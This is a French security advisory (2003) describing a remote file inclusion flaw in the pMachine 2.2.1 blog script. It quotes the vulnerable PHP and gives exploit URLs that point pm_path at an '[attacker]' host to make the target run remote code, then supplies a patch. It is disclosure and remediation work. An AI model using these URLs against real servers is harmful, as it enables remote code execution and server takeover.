pMachine ******** Informations : °°°°°°°°°°°°°° Langage : PHP Version : Free 2.2.1 Website : http://www.pmachine.com Problème : Inclusions de fichiers Developpement : °°°°°°°°°°°°°°° pMachine est un script permettenat de gérer un Blog (WebLog), c'est-à-dire de publier toute sorte de choses : news, magazine, journal de bord,... Ce script est touché d'une faille include() permettant d'inclure des fichiers exterieurs et de les faire executer par le serveur. Cette faille se trouve dans le fichier /pm/inc.lib.php. D'habitude, elle ne touche que les serveurs dont le register_globals (dans php.ini) est sur ON. Mais pas cette fois-ci, à cause du code qui précéde le code buggé : ------------------------------------------------------------- if (isset($HTTP_COOKIE_VARS)) { while(list($var,$val)=each($HTTP_COOKIE_VARS)) { $$var=$val; } } if (isset($HTTP_GET_VARS)) { while(list($var,$val)=each($HTTP_GET_VARS)) { $$var=$val; } } if (isset($HTTP_POST_VARS)) { while(list($var,$val)=each($HTTP_POST_VARS)) { $$var=$val; } } if (isset($HTTP_SERVER_VARS)) { while(list($var,$val)=each($HTTP_SERVER_VARS)) { $$var=$val; } } ------------------------------------------------------------- Ce code transforme toutes les variables COOKIE, GET, POST et SERVER en des variables globales. Ensuite vient le code buggé : --------------------------------------------------------------------- include ("{$pm_path}config$sfx"); if ($debug == 1) error_reporting(E_ALL); else error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING); include ("{$pm_path}db/db.$database$sfx"); include ("{$pm_path}db/db.tables$sfx"); include ("{$pm_path}lib/pmcode.fns$sfx"); include ("{$pm_path}lib/archives.fns$sfx"); include ("{$pm_path}lib/benchmark.class$sfx"); include ("{$pm_path}lib/birthday.fns$sfx"); include ("{$pm_path}lib/calendar.fns$sfx"); include ("{$pm_path}lib/category.fns$sfx"); include ("{$pm_path}lib/censor.fns$sfx"); include ("{$pm_path}lib/comment.fns$sfx"); include ("{$pm_path}lib/deprecated.fns$sfx"); include ("{$pm_path}lib/email.fns$sfx"); include ("{$pm_path}lib/encoded.email$sfx"); include ("{$pm_path}lib/forum.fns$sfx"); include ("{$pm_path}lib/hitcounter.fns$sfx"); include ("{$pm_path}lib/hittracking.fns$sfx"); include ("{$pm_path}lib/ip.fns$sfx"); include ("{$pm_path}lib/linking.fns$sfx"); include ("{$pm_path}lib/mailinglist.fns$sfx"); include ("{$pm_path}lib/member.fns$sfx"); include ("{$pm_path}lib/memberfiles$sfx"); include ("{$pm_path}lib/message.fns$sfx"); include ("{$pm_path}lib/minicalendar.fns$sfx"); include ("{$pm_path}lib/password.fns$sfx"); include ("{$pm_path}lib/pblock.fns$sfx"); include ("{$pm_path}lib/search.fns$sfx"); include ("{$pm_path}lib/shared.fns$sfx"); include ("{$pm_path}lib/stats.fns$sfx"); include ("{$pm_path}lib/tellafriend.fns$sfx"); include ("{$pm_path}lib/timelock.fns$sfx"); include ("{$pm_path}lib/weblog.fns$sfx"); include ("{$pm_path}cp/xmlparser$sfx"); include ("{$pm_path}cp/rss.cp$sfx"); include ("{$pm_path}xmlrpc/ping.fns$sfx"); include ("{$pm_path}xmlrpc/xmlrpc.inc"); --------------------------------------------------------------------- La faille est reproduite ici 36 fois. Prenons le premier de ces cas comme exemple, la ligne : --------------------------------- include ("{$pm_path}config$sfx"); --------------------------------- Si on veut inclure le fichier http://[attacker]/config.txt dans http://[target]/pm/lib.inc.php, il suffira de taper l'url : http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=.txt Pour inclure le fichier http://[attacker]/config/badcode.txt dans http://[target]/pm/lib.inc.php, il suffira de se rendre à l'url : http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=/badcode.txt etc... et même chose avec les autres inclusions. Note : http://[target]/pm/lib.inc.php ne nous montre que la première erreur d'inclusions, tandis que http://[target]/pm/lib.inc.php?debug=1 nous montre aussi toutes les autres. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Il suffit d'ajouter dans /pm/lib.inc.php, avant la ligne : --------------------------------- include ("{$pm_path}config$sfx"); --------------------------------- les lignes : ------------------------------------------ if (!file_exists("{$pm_path}config$sfx")){ die("\$pm_path is not a correct path."); } ------------------------------------------ Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Websites : http://www.frog-man.org, http://www.phpsecure.info Date : 09 Juin 2003